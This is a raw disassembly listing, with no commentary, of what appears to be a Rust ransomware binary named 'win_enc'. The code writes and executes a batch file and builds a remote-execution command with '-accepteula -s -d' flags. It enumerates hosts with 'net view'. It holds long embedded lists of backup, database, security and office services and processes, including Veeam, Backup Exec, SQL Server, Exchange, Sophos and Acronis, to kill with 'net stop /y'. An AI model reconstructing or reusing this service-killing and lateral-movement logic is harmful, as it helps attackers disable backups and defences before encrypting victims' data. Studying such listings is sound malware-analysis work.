mov rax, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xa8]
mov byte [rbx + rsi], 0x20
inc rsi
mov qword [rsp + 0xb0], rsi
mov rcx, qword [rsp + 0x70]
mov r14, qword [rcx + rdi + 8]
mov r12, qword [rcx + rdi + 0x10]
sub rax, rsi
cmp rax, r12
jae 0x1400066a0
lea rcx, [rsp + 0xa0]
mov rdx, rsi
mov r8, r12
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::hd10e6bde5f934d0f
jmp 0x140006690
mov rbx, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb0]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 8
mov qword [rsp + 0x60], 0
mov rdi, qword [rsp + 0xa0]
lea rcx, [rsp + 0x50]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::hb21cabe97cab6975
mov rax, qword [rsp + 0x58]
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x60], 1
mov rbx, qword [rsp + 0x58]
lea rax, str..batdel__Q____n
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 4
call sym.rand::rngs::thread::thread_rng::h020b7e21ed246e2e
mov r14, qword [0x14050df18]
lea r12, [rsp + 0x730]
mov r8d, 0xa
mov rcx, r12
mov rdx, rax
call sym._ZN95__LT_alloc..string..String_u20_as_u20_core..iter..traits..collect..FromIterator_LT_char_GT__GT_9from_iter17ha243591288968
mov qword [rsp + 0x480], r12
lea rax, [fcn.140005080]
mov qword [rsp + 0x488], rax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x490], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x498], rax
lea rax, str.C:UsersPublic__accepteula__s__d______no_impl
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
lea rax, [rsp + 0x480]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x180]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rdx, qword [rsp + 0x730]
test rdx, rdx
je 0x140006890
mov rcx, qword [rsp + 0x738]
mov r8d, 1
call sym.__rust_dealloc
mov dword [rsp + 0x180], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
mov dword [rsp + 0x198], 7
mov qword [rsp + 0x19c], 0
mov word [rsp + 0x1a4], 0
mov byte [rsp + 0x1a1], 1
mov byte [rsp + 0x1a4], 1
mov byte [rsp + 0x1a3], 1
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0x180]
call sym.std::fs::OpenOptions::_open::h037695e540c0f6c5
mov rdi, rdx
test rax, rax
jne 0x140006b66
mov qword [rsp + 0x468], rdi
mov qword [rsp + 0x980], rbx
lea rax, [rsp + 0x980]
mov qword [rsp + 0x730], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::hafa40f73dff44ebc]
mov qword [rsp + 0x738], rax
lea rax, [0x140441140]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x198], 1
lea rax, [rsp + 0x468]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 0
lea rdx, sym._ZN4core3ptr100drop_in_place_LT_std..io..Write..write_fmt..Adapter_LT_std..sys..pal..windows..stdio..Stderr_GT__GT_17h2887dbae
lea rdi, [rsp + 0x480]
lea r8, [rsp + 0x180]
mov rcx, rdi
call sym.core::fmt::write::ha796f172289314b5
mov rcx, qword [rsp + 0x488]
test al, al
je 0x1400069ce
test rcx, rcx
lea rdi, [0x140445628]
cmovne rdi, rcx
jmp 0x140006b59
test rcx, rcx
je 0x1400069d8
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.85173399253522107
mov qword [rsp + 0x480], rsi
lea rax, [fcn.140005080]
mov qword [rsp + 0x488], rax
lea rax, [0x140441120]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x468]
lea rdx, [rsp + 0x180]
call sym.std::io::Write::write_fmt::hefac18de6c195c00
mov rdi, rax
test rax, rax
jne 0x140006b59
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
lea rcx, [rsp + 0x180]
mov r8d, 3
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
movdqu xmm0, xmmword [rsp + 0x88]
lea rax, [0x14044079b]
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 2
movdqu xmmword [rsp + 0x990], xmm0
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x980]
call sym.std::process::Command::args::hf417a9293491c4a8
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
call sym.std::process::Command::spawn::hb62d91aa937413ba
mov rax, qword [rsp + 0x480]
mov rdi, qword [rsp + 0x488]
cmp rax, 2
je 0x140006b4c
movdqu xmm0, xmmword [rsp + 0x490]
movups xmm1, xmmword [rsp + 0x4a0]
movups xmm2, xmmword [rsp + 0x4b0]
movups xmmword [rsp + 0x760], xmm2
movups xmmword [rsp + 0x750], xmm1
movdqu xmmword [rsp + 0x740], xmm0
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x738], rdi
lea rcx, [rsp + 0x420]
lea rdx, [rsp + 0x730]
call sym.std::process::Child::wait::h5b13112cbe647a3e
cmp dword [rsp + 0x420], 0
je 0x14000a08a
mov rdi, qword [rsp + 0x428]
lea rcx, [rsp + 0x730]
call sym.core::ptr::drop_in_place_std::process::Child_::h45d199d11d64d806
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov rcx, qword [rsp + 0x468]
call fcn.1402ddbdc
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140006b86
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x140006c07
mov qword [rsp + 0x730], rdi
mov qword [rsp + 0x480], r12
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::he2dbf906bfd27f01]
mov qword [rsp + 0x488], rax
lea rax, str.Failed_to_write_and_execute_batch_file:__n
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
lea rax, [rsp + 0x480]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_eprint::h90d3d244862ade82
lea rcx, [rsp + 0x730]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
mov rsi, qword [rsp + 0x60]
test rsi, rsi
je 0x140006c42
mov rdi, qword [rsp + 0x58]
add rdi, 8
jmp 0x140006c29
add rdi, 0x18
dec rsi
je 0x140006c42
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x140006c20
mov rcx, qword [rdi]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140006c20
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x140006c64
mov rcx, qword [rsp + 0x58]
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
call sym.__rust_dealloc
test r15, r15
je 0x140006ca2
mov rax, qword [rsp + 0x70]
lea rsi, [rax + 8]
jmp 0x140006c89
add rsi, 0x18
dec r15
je 0x140006ca2
mov rdx, qword [rsi - 8]
test rdx, rdx
je 0x140006c80
mov rcx, qword [rsi]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x140006c80
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140006cc7
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x70]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
lea r15, [rsp + 0x730]
je 0x140006cef
mov rcx, qword [rsp + 0xc8]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x140006d0f
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140006d29
mov r8d, 1
mov rcx, qword [rsp + 0x78]
call sym.__rust_dealloc
lea rdx, [0x1402e2672]
lea rcx, [rsp + 0xba0]
mov r8d, 5
call sym.clap::args::arg_matches::ArgMatches::value_of::h6e564839968631ec
mov qword [rsp + 0x48], rdx
mov rdi, rax
test rax, rax
je 0x140006eba
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x140006e67
test rbx, rbx
js 0x14000a1de
movzx eax, byte [r14]
mov esi, 1
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
je 0x14000a1e0
mov r12, rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sym.memcpy
mov rsi, r12
add rsi, rbx
mov rdi, r12
jmp 0x140006db9
cmp rdi, rsi
je 0x140006e6d
movzx ecx, byte [rdi]
test cl, cl
js 0x140006dd0
inc rdi
lea eax, [rcx - 0x30]
cmp eax, 0xa
jb 0x140006db0
jmp 0x140006e50
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x140006e20
movzx edx, byte [rdi + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x140006e39
movzx ecx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140006e6d
add rdi, 4
lea eax, [rcx - 0x30]
cmp eax, 0xa
jb 0x140006db0
jmp 0x140006e50
add rdi, 2
shl eax, 6
or eax, r8d
mov ecx, eax
lea eax, [rcx - 0x30]
cmp eax, 0xa
jae 0x140006e50
jmp 0x140006db0
add rdi, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x30]
cmp eax, 0xa
jb 0x140006db0
cmp ecx, 0x80
jb 0x140006e9f
call sym.core::unicode::unicode_data::n::lookup::h9d84b00f8f494368
test al, al
jne 0x140006db0
jmp 0x140006e9f
mov r12d, 1
lea rcx, [rsp + 0x180]
mov rdx, r12
mov r8, qword [rsp + 0x48]
call sym.core::num::__impl_core::str::traits::FromStr_for_u64_::from_str::h7f4ca51d3c47dfcc
cmp byte [rsp + 0x180], 0
jne 0x14000a33d
mov rcx, qword [rsp + 0x188]
xor edx, edx
call sym.std::thread::sleep::hfd6bb8fb924d7508
cmp qword [rsp + 0x48], 0
je 0x140006eba
mov r8d, 1
mov rcx, r12
mov rdx, qword [rsp + 0x48]
call sym.__rust_dealloc
lea rcx, [0x140440807]
mov edx, 0x2b
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x140440832]
mov edx, 0x2b
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x14044085d]
mov edx, 0x12
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x14044086f]
mov edx, 0x27
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x140440896]
mov edx, 0x1a
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x1404408b0]
mov edx, 0x16
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x1404408c6]
mov edx, 0x29
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x1404408ef]
mov edx, 0x79
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
lea rcx, [0x140440968]
mov edx, 0x41
call sym.win_enc::run_command::hb8c0b53f67a4b6d9
mov qword [rsp + 0x480], 0
mov qword [rsp + 0x488], 8
mov qword [rsp + 0x490], 0
mov qword [rsp + 0x20], 2
lea r9, [0x1404409a9]
lea rcx, [rsp + 0x180]
mov edx, 8
xor r8d, r8d
call sym.alloc::str::join_generic_copy::h000d992a124bd732
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x60], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x730], rax
lea rsi, [fcn.140005080]
mov qword [rsp + 0x738], rsi
lea rax, [0x140440a38]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
movdqu xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x738], rsi
lea rax, str.X_nD_
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x488]
mov rsi, qword [rsp + 0x490]
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
lea rcx, [rsp + 0x180]
mov r8d, 3
mov qword [rsp + 0x148], rdi
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
lea rdx, [0x14044079b]
lea rcx, [rsp + 0x180]
mov r8d, 2
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
lea rcx, [rsp + 0x180]
mov rdx, rdi
mov r8, rsi
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov dword [rsp + 0x960], 3
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x960]
call sym.std::sys::pal::windows::process::Command::stdout::h1b4535a6bdff16e2
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x960]
call sym.std::sys::pal::windows::process::Command::stderr::h1d2949fdc9194748
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
call sym.std::process::Command::output::h37534e7899fe7627
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x480], rax
je 0x14000a161
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x760], rax
movdqu xmm0, xmmword [rsp + 0x480]
movups xmm1, xmmword [rsp + 0x490]
movups xmm2, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0x750], xmm2
movaps xmmword [rsp + 0x740], xmm1
movdqa xmmword [rsp + 0x730], xmm0
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov r8, qword [rsp + 0x740]
test r8, r8
je 0x14000728a
mov rdx, qword [rsp + 0x738]
lea rsi, [rsp + 0x480]
mov rcx, rsi
call sym.alloc::string::String::from_utf8_lossy::heaed299900723259
mov qword [rsp + 0x980], rsi
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::h1353444f6e826b83]
mov qword [rsp + 0x988], rax
lea rax, str.Output:
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
lea rax, [rsp + 0x980]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_print::h9f145f403daa054f
mov rdx, qword [rsp + 0x480]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x14000728a
test rdx, rdx
je 0x14000728a
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
mov r8, qword [rsp + 0x758]
test r8, r8
je 0x140007349
mov rdx, qword [rsp + 0x750]
lea rsi, [rsp + 0x480]
mov rcx, rsi
call sym.alloc::string::String::from_utf8_lossy::heaed299900723259
mov qword [rsp + 0x980], rsi
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::h1353444f6e826b83]
mov qword [rsp + 0x988], rax
lea rax, [0x140440af8]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 2
mov qword [rsp + 0x1a0], 0
lea rax, [rsp + 0x980]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x180]
call sym.std::io::stdio::_eprint::h90d3d244862ade82
mov rdx, qword [rsp + 0x480]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140007349
test rdx, rdx
je 0x140007349
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
movzx eax, byte [r14]
mov ecx, 0x3c0
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000a1a2
mov r13, rax
lea rax, [0x140440d9c]
mov qword [r13], rax
mov qword [r13 + 8], 6
lea rax, str.memtasveeamsvc_backupsqlvssmsexchangesql_mysqlmysql_sophosMSExchangeMSExchange_WSBExchangePDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagerServiceBackupExecRPCServiceGxBlrGxVssGxCIMgrGxCIMgrSGxCVDGXMMMGxVssHWProvGxFWDSAPServiceSAPSAP_SAPD_SAPHostControlSAPHostExecQBCFMonitorServiceQBDBMgrNQBIDPServiceAcronisAgentVeeamNFSSvcVeeamDeploymentServiceVeeamTransportSvcMVArmorMVarmor64VSNAPVSSAcrSch2SvcDefWatchccEvtMgrccSetMgrSavRoamRTVscanQBFCServiceIntuit.QuickBooks.FCSzhudongfangyustc_raw_agentBackupExecManagementServiceCASAD2DWebSvcCAARCUpdateSvcmepocsdbeng50dbsnmpencsvcexcelfirefoxinfopathisqlplussvcmsaccessmspubmydesktopqmydesktopservicnotepadocautoupdsocommocssdonenoteoracleoutlookpowerpntsqbcoreservicsteamsynctimetbirdconfigthebatthunderbirdvisiowinwordwordpadxfssvcconsqlbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceQBCFMonitorSeTeamViewer_ServiceTeamViewertv_w32tv_x64CVMountdcvdcvfwdCVODSsaphostexesaposcolsapstartsrvavagentavsccDellSystemEnterpriseClientVeeamDeploymentSvcagntsvcMSExchangeISMSExchangeSAMSExchangeADTopologywuauserveventlogMSSQLSERVERSQLSERVERAGENTSQLBrowserMSSQLServerOLAPServiceReportServerMsDtsServerSQLWriterWSearchnet_stop___y
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], 6
lea rax, [0x140440b1e]
mov qword [r13 + 0x20], rax
mov qword [r13 + 0x28], 5
lea rax, [0x140440b23]
mov qword [r13 + 0x30], rax
mov qword [r13 + 0x38], 4
lea rax, [0x140440b27]
mov qword [r13 + 0x40], rax
mov qword [r13 + 0x48], 6
lea rbx, [0x140440b2d]
mov qword [r13 + 0x50], rbx
mov qword [r13 + 0x58], 3
lea rax, [0x140440b30]
mov qword [r13 + 0x60], rax
mov qword [r13 + 0x68], 3
lea rax, [0x140440b33]
mov qword [r13 + 0x70], rax
mov qword [r13 + 0x78], 0xa
lea rax, [0x140440b3d]
mov qword [r13 + 0x80], rax
mov qword [r13 + 0x88], 4
lea rax, [0x140440b41]
mov qword [r13 + 0x90], rax
mov qword [r13 + 0x98], 5
lea rax, [0x140440b46]
mov qword [r13 + 0xa0], rax
mov qword [r13 + 0xa8], 6
lea rax, [0x140440b4c]
mov qword [r13 + 0xb0], rax
mov qword [r13 + 0xb8], 6
lea rax, [0x140440b52]
mov qword [r13 + 0xc0], rax
mov qword [r13 + 0xc8], 0xa
lea rax, [0x140440b5c]
mov qword [r13 + 0xd0], rax
mov qword [r13 + 0xd8], 0xb
lea rax, [0x140440b67]
mov qword [r13 + 0xe0], rax
mov qword [r13 + 0xe8], 0xb
lea rax, [0x140440b72]
mov qword [r13 + 0xf0], rax
mov qword [r13 + 0xf8], 0xc
lea rax, [0x140440b7e]
mov qword [r13 + 0x100], rax
mov qword [r13 + 0x108], 0x15
lea rax, [0x140440b93]
mov qword [r13 + 0x110], rax
mov qword [r13 + 0x118], 0x1a
lea rax, [0x140440bad]
mov qword [r13 + 0x120], rax
mov qword [r13 + 0x128], 0x16
lea rax, [0x140440bc3]
mov qword [r13 + 0x130], rax
mov qword [r13 + 0x138], 0x1c
lea rax, [0x140440bdf]
mov qword [r13 + 0x140], rax
mov qword [r13 + 0x148], 0x13
lea rax, [0x140440bf2]
mov qword [r13 + 0x150], rax
mov qword [r13 + 0x158], 0x18
lea rax, [0x140440c0a]
mov qword [r13 + 0x160], rax
mov qword [r13 + 0x168], 0x14
lea rax, [0x140440c1e]
mov qword [r13 + 0x170], rax
mov qword [r13 + 0x178], 5
lea rax, [0x140440c23]
mov qword [r13 + 0x180], rax
mov qword [r13 + 0x188], 5
lea rax, [0x140440c28]
mov qword [r13 + 0x190], rax
mov qword [r13 + 0x198], 7
lea rax, [0x140440c2f]
mov qword [r13 + 0x1a0], rax
mov qword [r13 + 0x1a8], 8
lea rax, [0x140440c37]
mov qword [r13 + 0x1b0], rax
mov qword [r13 + 0x1b8], 5
lea rax, [0x140440c3c]
mov qword [r13 + 0x1c0], rax
mov qword [r13 + 0x1c8], 5
lea rax, [0x140440c41]
mov qword [r13 + 0x1d0], rax
mov qword [r13 + 0x1d8], 0xb
lea rax, [0x140440c4c]
mov qword [r13 + 0x1e0], rax
mov qword [r13 + 0x1e8], 5
lea rax, [0x140440c51]
mov qword [r13 + 0x1f0], rax
mov qword [r13 + 0x1f8], 0xa
lea rdi, [0x140440c5b]
mov qword [r13 + 0x200], rdi
mov qword [r13 + 0x208], 3
lea rax, [0x140440c5e]
mov qword [r13 + 0x210], rax
mov qword [r13 + 0x218], 4
lea rax, [0x140440c62]
mov qword [r13 + 0x220], rax
mov qword [r13 + 0x228], 5
lea rax, [0x140440c67]
mov qword [r13 + 0x230], rax
mov qword [r13 + 0x238], 0xe
lea rax, [0x140440c75]
mov qword [r13 + 0x240], rax
mov qword [r13 + 0x248], 0xb
lea rax, [0x140440c80]
mov qword [r13 + 0x250], rax
mov qword [r13 + 0x258], 0x12
lea r12, [0x140440c92]
mov qword [r13 + 0x260], r12
mov qword [r13 + 0x268], 8
lea rsi, [0x140440c9a]
mov qword [r13 + 0x270], rsi
mov qword [r13 + 0x278], 0xc
lea rax, [0x140440ca6]
mov qword [r13 + 0x280], rax
mov qword [r13 + 0x288], 0xc
lea rax, [0x140440cb2]
mov qword [r13 + 0x290], rax
mov qword [r13 + 0x298], 0xb
lea rax, [0x140440cbd]
mov qword [r13 + 0x2a0], rax
mov qword [r13 + 0x2a8], 0x16
lea rax, [0x140440cd3]
mov qword [r13 + 0x2b0], rax
mov qword [r13 + 0x2b8], 0x11
lea rax, [0x140440ce4]
mov qword [r13 + 0x2c0], rax
mov qword [r13 + 0x2c8], 7
lea rax, [0x140440ceb]
mov qword [r13 + 0x2d0], rax
mov qword [r13 + 0x2d8], 9
lea rax, [0x140440cf4]
mov qword [r13 + 0x2e0], rax
mov qword [r13 + 0x2e8], 8
lea rax, [0x140440cfc]
mov qword [r13 + 0x2f0], rax
mov qword [r13 + 0x2f8], 0xa
lea rax, [0x140440d06]
mov qword [r13 + 0x300], rax
mov qword [r13 + 0x308], 8
lea rax, [0x140440d0e]
mov qword [r13 + 0x310], rax
mov qword [r13 + 0x318], 8
lea rax, [0x140440d16]
mov qword [r13 + 0x320], rax
mov qword [r13 + 0x328], 8
lea rax, [0x140440d1e]
mov qword [r13 + 0x330], rax
mov qword [r13 + 0x338], 7
lea rax, [0x140440d25]
mov qword [r13 + 0x340], rax
mov qword [r13 + 0x348], 7
lea rax, [0x140440d2c]
mov qword [r13 + 0x350], rax
mov qword [r13 + 0x358], 0xb
lea rax, [0x140440d37]
mov qword [r13 + 0x360], rax
mov qword [r13 + 0x368], 0x15
lea rax, [0x140440d4c]
mov qword [r13 + 0x370], rax
mov qword [r13 + 0x378], 0xd
lea rax, [0x140440d59]
mov qword [r13 + 0x380], rax
mov qword [r13 + 0x388], 0xd
lea rax, [0x140440d66]
mov qword [r13 + 0x390], rax
mov qword [r13 + 0x398], 0x1b
lea rax, [0x140440d81]
mov qword [r13 + 0x3a0], rax
mov qword [r13 + 0x3a8], 0xd
lea rax, [0x140440d8e]
mov qword [r13 + 0x3b0], rax
mov qword [r13 + 0x3b8], 0xe
movzx eax, byte [r14]
mov ecx, 0x3f0
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000a1b6
mov r15, rax
lea rax, [0x140440f6c]
mov qword [r15], rax
mov qword [r15 + 8], 7
lea rax, [0x140440da2]
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 7
lea rax, [0x140440da9]
mov qword [r15 + 0x20], rax
mov qword [r15 + 0x28], 6
lea rax, [0x140440daf]
mov qword [r15 + 0x30], rax
mov qword [r15 + 0x38], 6
lea rax, [0x140440db5]
mov qword [r15 + 0x40], rax
mov qword [r15 + 0x48], 5
lea rax, [0x140440dba]
mov qword [r15 + 0x50], rax
mov qword [r15 + 0x58], 7
lea rax, [0x140440dc1]
mov qword [r15 + 0x60], rax
mov qword [r15 + 0x68], 8
lea rax, [0x140440dc9]
mov qword [r15 + 0x70], rax
mov qword [r15 + 0x78], 0xb
lea rax, [0x140440dd4]
mov qword [r15 + 0x80], rax
mov qword [r15 + 0x88], 8
lea rax, [0x140440ddc]
mov qword [r15 + 0x90], rax
mov qword [r15 + 0x98], 5
lea rax, [0x140440de1]
mov qword [r15 + 0xa0], rax
mov qword [r15 + 0xa8], 0xa
lea rax, [0x140440deb]
mov qword [r15 + 0xb0], rax
mov qword [r15 + 0xb8], 0xf
lea rax, [0x140440dfa]
mov qword [r15 + 0xc0], rax
mov qword [r15 + 0xc8], 7
lea rax, [0x140440e01]
mov qword [r15 + 0xd0], rax
mov qword [r15 + 0xd8], 0xa
lea rax, [0x140440e0b]
mov qword [r15 + 0xe0], rax
mov qword [r15 + 0xe8], 5
lea rax, [0x140440e10]
mov qword [r15 + 0xf0], rax
mov qword [r15 + 0xf8], 5
lea rax, [0x140440e15]
mov qword [r15 + 0x100], rax
mov qword [r15 + 0x108], 7
lea rax, [0x140440e1c]
mov qword [r15 + 0x110], rax
mov qword [r15 + 0x118], 6
lea rax, [0x140440e22]
mov qword [r15 + 0x120], rax
mov qword [r15 + 0x128], 7
lea rax, [0x140440e29]
mov qword [r15 + 0x130], rax
mov qword [r15 + 0x138], 8
lea rax, [0x140440e31]
mov qword [r15 + 0x140], rax
mov qword [r15 + 0x148], 0xd
mov qword [r15 + 0x150], rbx
mov qword [r15 + 0x158], 3
lea rax, [0x140440e3e]
mov qword [r15 + 0x160], rax
mov qword [r15 + 0x168], 5
lea rax, [0x140440e43]
mov qword [r15 + 0x170], rax
mov qword [r15 + 0x178], 8
lea rax, [0x140440e4b]
mov qword [r15 + 0x180], rax
mov qword [r15 + 0x188], 0xb
lea rax, [0x140440e56]
mov qword [r15 + 0x190], rax
mov qword [r15 + 0x198], 6
lea rax, [0x140440e5c]
mov qword [r15 + 0x1a0], rax
mov qword [r15 + 0x1a8], 0xb
lea rax, [0x140440e67]
mov qword [r15 + 0x1b0], rax
mov qword [r15 + 0x1b8], 5
lea rax, [0x140440e6c]
mov qword [r15 + 0x1c0], rax
mov qword [r15 + 0x1c8], 7
lea rax, [0x140440e73]
mov qword [r15 + 0x1d0], rax
mov qword [r15 + 0x1d8], 7
lea rax, [0x140440e7a]
mov qword [r15 + 0x1e0], rax
mov qword [r15 + 0x1e8], 9
lea rax, [0x140440e83]
mov qword [r15 + 0x1f0], rax
mov qword [r15 + 0x1f8], 5
lea rax, [0x140440e88]
mov qword [r15 + 0x200], rax
mov qword [r15 + 0x208], 5
lea rax, [0x140440e8d]
mov qword [r15 + 0x210], rax
mov qword [r15 + 0x218], 5
lea rax, [0x140440e92]
mov qword [r15 + 0x220], rax
mov qword [r15 + 0x228], 7
lea rax, [0x140440e99]
mov qword [r15 + 0x230], rax
mov qword [r15 + 0x238], 7
lea rax, [0x140440ea0]
mov qword [r15 + 0x240], rax
mov qword [r15 + 0x248], 6
lea rax, [0x140440ea6]
mov qword [r15 + 0x250], rax
mov qword [r15 + 0x258], 8
lea rax, [0x140440eae]
mov qword [r15 + 0x260], rax
mov qword [r15 + 0x268], 0xd
lea rax, [0x140440ebb]
mov qword [r15 + 0x270], rax
mov qword [r15 + 0x278], 8
lea rax, [0x140440ec3]
mov qword [r15 + 0x280], rax
mov qword [r15 + 0x288], 0xa
mov qword [r15 + 0x290], rsi
mov qword [r15 + 0x298], 0xc
mov qword [r15 + 0x2a0], r12
mov qword [r15 + 0x2a8], 8
lea rax, [0x140440ecd]
mov qword [r15 + 0x2b0], rax
mov qword [r15 + 0x2b8], 0xd
mov qword [r15 + 0x2c0], rdi
mov qword [r15 + 0x2c8], 3
lea rax, [0x140440eda]
mov qword [r15 + 0x2d0], rax
mov qword [r15 + 0x2d8], 0x12
lea rax, [0x140440eec]
mov qword [r15 + 0x2e0], rax
mov qword [r15 + 0x2e8], 0xa
lea rax, [0x140440ef6]
mov qword [r15 + 0x2f0], rax
mov qword [r15 + 0x2f8], 6
lea rax, [0x140440efc]
mov qword [r15 + 0x300], rax
mov qword [r15 + 0x308], 6
lea rax, [0x140440f02]
mov qword [r15 + 0x310], rax
mov qword [r15 + 0x318], 8
